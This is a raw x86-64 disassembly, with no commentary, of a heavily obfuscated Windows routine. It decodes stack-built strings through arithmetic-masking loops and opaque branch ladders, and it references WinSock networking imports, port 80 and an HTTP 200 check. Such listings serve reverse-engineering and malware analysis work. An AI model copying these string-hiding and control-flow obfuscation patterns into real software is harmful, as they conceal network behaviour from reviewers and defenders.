lea edx, [rdi + 0x1c]
mov ecx, 0x1e
movzx eax, dl
add r8, r9
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, bl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
mov ecx, 0x24
movzx r11d, dil
lea edx, [r11 - 0x78]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a66b
lea edx, [rdi - 0xc]
mov ecx, 0x2a
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
lea edx, [rdi + 0x60]
mov ecx, gethostbyaddr
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
mov ecx, getservbyname
movzx r11d, dil
lea edx, [r11 - 0x34]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a5eb
lea rax, [r9 + 4]
cmp r8, rax
jae 0x14016a24e
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 6
jmp 0x14016a0a1
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14016a283
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016a2a5
lea ecx, [rdi + 0x4c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x14
jmp 0x14016a6ea
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14016a2d7
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
mov rcx, r15
sub r10b, 0x20
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016a30c
lea ecx, [rdi + 0x74]
add r8, r9
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
mov rcx, r15
sub r10b, 0x2c
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016a0a1
movzx r11d, dil
lea ecx, [r11 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x38
jmp 0x14016a66b
jne 0x14016a357
movzx r11d, dil
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7a
jmp 0x14016a5eb
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016a384
lea edx, [rdi + 0x5e]
mov ecx, reloc.WS2_32.dll_getservbyname
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016a3be
lea edx, [rdi - 0x7a]
mov ecx, 0x2b
movzx eax, dl
add r8, r9
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, bl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016a3f5
lea edx, [rdi + 0x1a]
mov ecx, 0x25
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, bl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016a05b
lea edx, [rdi - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a6ea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016a455
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
inc rax
cmp r8, rax
jne 0x14016a47a
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 4
add r10b, dl
jmp 0x14016a70f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016a4af
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
add r8, r9
add al, al
sub bl, al
lea r10d, [rcx + rbx]
mov rcx, r15
sub r10b, 0x28
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016a01e
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x40
inc rdi
jmp 0x140169b82
movzx r10d, byte [rbp + rdi - 0x54]
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 0x10]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x70
add r10b, bl
add r10b, dl
jmp 0x14016a66b
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi - 0x54]
lea r10d, [rbx + rcx]
sub r10b, 0x7c
jmp 0x14016a6ea
lea edx, [rdi + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a6ea
lea edx, [rdi - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, bl
movzx eax, r10b
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
mov ecx, 0x29
movzx r11d, dil
lea edx, [r11 + 0x62]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a66b
lea edx, [rdi - 0x32]
mov ecx, gethostbyaddr
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x140169b82
mov ecx, 0x3b
movzx r11d, dil
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x14016a5eb
movzx r11d, dil
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x72
movzx eax, bl
sub r11b, 0x3a
and al, r11b
inc r9
add al, al
sub bl, al
sub bl, 0x6a
add bl, r11b
mov byte [rbp + rdi - 0x54], bl
dec rdi
inc rdi
jmp 0x140169b82
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
inc r9
dec rdi
inc rdi
jmp 0x140169b82
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
dec rdi
inc rdi
jmp 0x140169b82
movzx r11d, dil
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x4e
movzx eax, bl
add r11b, 0x5a
and al, r11b
add al, al
sub bl, al
sub bl, 0x76
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x54], bl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add r8, r9
add rdi, rcx
inc rdi
jmp 0x140169b82
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x36
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140169b82
movzx ebx, dl
movabs rcx, 0x3d7730aabc059f06
add rcx, rdi
movzx r10d, bl
and dl, cl
add dl, dl
sub r10b, dl
sub r10b, 0x2a
add r10b, cl
lea edx, [rdi - 0x12]
movzx eax, bl
and al, dl
inc r9
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x54], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, bl
and al, dl
inc r8
mov ecx, 0x3c
sub cl, al
mov rax, r15
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi - 0x54], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140169b82
movzx eax, dl
movabs rcx, 0x880e82925094b1de
add rcx, rdi
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x12
movzx eax, byte [rbp + rdi - 0x54]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140169b82
add dil, 0x72
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 0x1e
jmp 0x140169b80
sub dil, 0x22
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
sub r10b, 0x12
jmp 0x140169b70
lea rbx, [rbp + 0x177d564]
jmp 0x14016a7c4
lea rbx, [rbp + 0x9410ae]
jmp 0x14016a7c4
lea rbx, [rbp - 0x54]
lea rcx, [rbp + 0x110]
call fcn.140135f90
mov r8, r15
inc r8
cmp byte [rbx + r8], 0
jne 0x14016a7d3
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.14013c7a0
mov r14, qword [rbp + 0x830]
mov rcx, r14
call fcn.140135430
lea rcx, [rbp + 0xf0]
mov rbx, rax
call fcn.140135f90
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14016a810
mov rdx, rbx
lea rcx, [rbp + 0xf0]
call fcn.14013c7a0
lea rcx, [rbp + 0xe0]
call fcn.14016dd70
mov r9, rax
lea r8, [rbp + 0x60]
lea rax, [rbp + 0x110]
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0x130]
lea rax, [rbp + 0xf0]
lea rcx, [rbp + 0x310]
mov qword [rsp + 0x20], rax
call fcn.1401607e0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xe0]
call fcn.1401714d0
lea rcx, [rbp + 0xf0]
call fcn.1401358f0
lea rcx, [rbp + 0x110]
call fcn.1401358f0
mov rdx, qword [rbp + 0x130]
test rdx, rdx
je 0x14016a8d0
cmp dword [rdx + 0x20], 0xc8
jne 0x14016a8d0
add rdx, 0x58
mov rcx, r13
call fcn.140135510
lea rcx, [rbp + 0x130]
call fcn.140162650
lea rcx, [rbp + 0x310]
call fcn.140160f50
jmp 0x14016d808
lea rcx, [rbp + 0x130]
call fcn.140162650
lea rcx, [rbp + 0x310]
call fcn.140160f50
jmp 0x14016cd58
cmp dword [rsp + 0x6c], r15d
lea r8, [rbp + 0x30]
mov ecx, 0x50
cmovne ecx, dword [rsp + 0x6c]
mov dword [rbp + 0x30], ecx
lea rcx, [rbp + 0x38]
call fcn.1401711c0
mov rax, qword [rbp + 0x38]
xorps xmm0, xmm0
mov byte [rbp + 0x40], 0
movabs rsi, 0xf6fd88f83665729b
movabs r14, 0xe4f89ae8a33057d1
mov byte [rax + 0x408], 0
xor eax, eax
movzx r10d, byte [rbp + 0x838]
mov dword [rbp - 0x75], eax
mov byte [rbp - 0x71], al
mov dword [rsp + 0x70], 0x313f2c09
mov dword [rsp + 0x74], 0x5def5
mov word [rsp + 0x78], 0x1508
mov byte [rsp + 0x7a], 0x98
movups xmmword [rsp + 0x7b], xmm0
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor ebx, ebx
cmp rbx, 0x20
jae 0x14016b49d
movzx r11d, byte [rsp + rbx + 0x70]
mov rdx, r11
cmp r8, rbx
ja 0x14016b494
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14016a9c2
lea rcx, [rbx + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, cl
jmp 0x14016aa00
je 0x14016b42f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14016b3b0
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016b383
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016b34a
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016b308
nop dword [rax]
cmp r9, rbx
ja 0x14016b48b
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14016aa2a
lea r10d, [rbx - 0x49]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
dec r10b
add r10b, r11b
jmp 0x14016aa60
lea rax, [r9 + 1]
cmp r8, rax
je 0x14016b2ee
inc rax
cmp r8, rax
je 0x14016b2cb
lea rax, [r9 + 5]
cmp r8, rax
je 0x14016b2b1
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016b297
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14016afd4
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14016afb7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14016af8f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14016af6f
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14016af4d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016af33
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14016af04
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14016aeea
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14016aecb
lea rax, [r9 + 6]
cmp r8, rax
je 0x14016aea3
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14016aa70
lea r8, [r9 + 4]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14016b471
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14016b457
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14016ac5f
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14016ac43
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14016ac27
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14016ae5a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14016ae0f
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14016add1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14016adaf
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14016aa70
lea r8, [r9 + 6]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14016ad87
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14016ad68
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14016ad4e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14016ad1f
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14016ad05
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14016ace3
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14016acc3
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14016ac9a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14016ac7b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14016aa70
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x5a]
jmp 0x14016aa70
lea r10d, [rbx + 0x29]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, r11b
jmp 0x14016aa60
lea r10d, [rbx - 0xd]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x5b
add r10b, r11b
jmp 0x14016aa00
lea r10d, [rbx - 0x43]
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, r11b
jmp 0x14016a992
lea r10d, [rbx - 0x48]
movzx edi, bl
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 8
add r10b, r11b
jmp 0x14016b320
lea ecx, [rbx - 0x7e]
mov r10d, 0x39
movzx eax, cl
inc r9
and al, r11b
dec rbx
sub r10b, al
add r10b, r10b
add r10b, cl
add r10b, r11b
inc rbx
jmp 0x14016a982
lea ecx, [rbx + 0x4c]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
inc rbx
jmp 0x14016a982
lea edx, [rbx + 0x16]
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx eax, dl
movzx edi, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b362
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14016b398
lea edx, [rbx - 0x56]
mov ecx, 0x2d
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, r11b
movzx eax, r10b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a982
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x14016b3d2
lea edx, [rbx + 0x3e]
mov ecx, 0x27
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b3f5
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 0x38
inc rbx
jmp 0x14016a982
lea ecx, [rbx + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
mov byte [rsp + rbx + 0x70], r10b
inc rbx
jmp 0x14016a982
lea ecx, [rbx - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
cmp r9, 6
jb 0x14016adc4
mov edx, 0x19
movzx edi, bl
lea ecx, [rdi - 0x3e]
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14016b320
lea ecx, [rbx - 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
cmp r8, 4
jae 0x14016b257
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14016b1d4
lea edx, [rbx - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016ade6
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x67
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x14016b279
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14016b0cf
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
jmp 0x14016ae24
lea ecx, [rbx + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 6
inc rbx
jmp 0x14016a982
lea edx, [rbx + 0x14]
mov ecx, 0x3a
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b3f5
lea ecx, [rbx - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x14016b3d2
lea edx, [rbx - 0x58]
mov ecx, reloc.WS2_32.dll_gethostbyname
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
mov rcx, r15
add r10b, dl
add r10b, r11b
movzx eax, r10b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a982
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x14016b398
mov ecx, 0x2e
movzx edi, bl
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b362
lea ecx, [rbx + 6]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
inc rbx
jmp 0x14016a982
lea edx, [rbx - 0x30]
mov ecx, 0x28
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x14016a982
movzx edi, bl
lea ecx, [rdi - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14016b320
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14016aff7
lea ecx, [rbx - 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
jmp 0x14016ae6f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016b028
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 2
inc rbx
jmp 0x14016a982
inc rax
cmp r8, rax
jne 0x14016b04a
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14016b3f5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016b072
lea edx, [rbx + 0x46]
mov ecx, reloc.WS2_32.dll_inet_addr
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b398
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14016b0a0
lea edx, [rbx - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
dec rbx
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc rbx
jmp 0x14016a982
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016ae6f
mov ecx, reloc.WS2_32.dll_socket
movzx edi, bl
lea edx, [rdi + 0x1e]
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b320
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016b0f5
movzx edi, bl
lea ecx, [rdi + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
jmp 0x14016b320
inc rax
cmp r8, rax
jne 0x14016b120
lea ecx, [rbx + 0x5b]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
inc rbx
jmp 0x14016a982
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016b149
lea ecx, [rbx - 0x6f]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
inc rbx
jmp 0x14016a982
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14016b16c
lea ecx, [rbx - 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x15
jmp 0x14016b398
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14016b19f
lea ecx, [rbx + 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
mov rcx, r15
sub r10b, 0x65
movzx eax, r10b
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a982
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14016ae24
lea ecx, [rbx - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
add r10b, 0x2d
inc rbx
jmp 0x14016a982
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14016b205
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
lea r10d, [r11 + rcx]
sub r10b, 4
inc rbx
jmp 0x14016a982
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14016b22d
lea edx, [rbx + 0x48]
mov ecx, 4
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14016b3d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14016ade6
movzx edi, bl
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x66
jmp 0x14016b362
movzx ecx, byte [rsp + rbx + 0x70]
movzx edi, bl
lea edx, [rdi - 8]
movzx eax, dl
and al, r11b
sub cl, al
add cl, 0x1c
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14016b362
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rsp + rbx + 0x70]
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14016b3d2
lea ecx, [rbx + 0x31]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
jmp 0x14016b3d2
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
jmp 0x14016b398
lea ecx, [rbx + 0x23]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
inc rbx
jmp 0x14016a982
movzx edi, bl
lea ecx, [rdi - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
jmp 0x14016b320
movzx edi, bl
lea ecx, [rdi - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
add dil, 0x5d
movzx eax, dil
and al, r11b
add al, al
sub dil, al
add dil, 0x75
add dil, r11b
mov byte [rsp + rbx + 0x70], dil
inc r9
dec rbx
inc rbx
jmp 0x14016a982
movzx edi, bl
lea ecx, [rdi - 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
sub dil, 0x6d
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 5
add dil, r10b
add dil, r11b
mov byte [rsp + rbx + 0x70], dil
jmp 0x14016b398
lea ecx, [rbx - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14016a982
movabs rcx, 0xc0eebec97cc6223d
movzx r11d, dl
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
lea ecx, [rbx - 0x37]
inc r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7f
add cl, r11b
movzx eax, cl
mov byte [rsp + rbx + 0x70], al
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x64]
inc r8
movzx eax, dl
mov ecx, 0x22
and al, r11b
sub cl, al
mov rax, r15
sub rax, r8
add cl, cl
add cl, dl
add cl, r11b
mov byte [rsp + rbx + 0x70], cl
add rbx, rax
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016a982
lea rcx, [rbx + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x49
movzx eax, byte [rsp + rbx + 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14016a982
sub bl, 0x79
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
add r10b, 0x4f
jmp 0x14016a980
add bl, 0x51
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x37
jmp 0x14016a970
lea r14, [rbp + 0x168ff94]
jmp 0x14016b4a2
lea r14, [rbp + 0x14e722f]
jmp 0x14016b4a2
lea r14, [rsp + 0x70]
movzx r11d, byte [rbp + 0x838]
xor eax, eax
mov qword [rsp + 0x5d], rax
mov dword [rsp + 0x53], 0xafaba442
mov dword [rsp + 0x57], 0xbd5abfa9
mov word [rsp + 0x5b], 0x2dbd
nop dword [rax + rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
